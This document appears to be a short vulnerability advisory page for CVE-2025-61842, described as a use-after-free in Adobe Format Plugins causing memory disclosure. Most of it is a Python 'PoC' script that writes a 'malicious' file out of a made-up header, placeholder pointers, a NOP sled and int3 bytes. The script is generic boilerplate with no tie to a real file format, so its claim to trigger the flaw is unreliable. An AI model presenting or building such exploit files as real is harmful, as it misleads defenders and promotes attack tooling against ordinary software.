CVE-2025-61842 Adobe Format Plugins 释放后使用漏洞导致内存信息泄露

// CVE-2025-61842 PoC - Use After Free in Adobe Format Plugins // This PoC demonstrates the vulnerability trigger mechanism // Note: Actual exploitation requires specific memory conditions import struct def create_malicious_file(): """Generate a malicious file to trigger UAF in Adobe Format Plugins""" # File header with crafted data to trigger UAF condition header = b'FMTP' # Format Plugin signature # Crafted metadata that causes use-after-free # When plugin processes this, it may free memory incorrectly crafted_metadata = b'\x00' * 256 # Trigger data structure trigger_data = struct.pack('<I', 0x41414141) # Corrupted pointer trigger_data += struct.pack('<I', 0x42424242) # Fake vtable trigger_data += b'\x90' * 64 # NOP sled # Final payload section payload = b'\xCC' * 1024 # Int3 for debugging # Combine all parts malicious_file = header + crafted_metadata + trigger_data + payload # Write to file with open('CVE-2025-61842.malicious', 'wb') as f: f.write(malicious_file) print(f"Malicious file created: {len(malicious_file)} bytes") return malicious_file if __name__ == "__main__": create_malicious_file()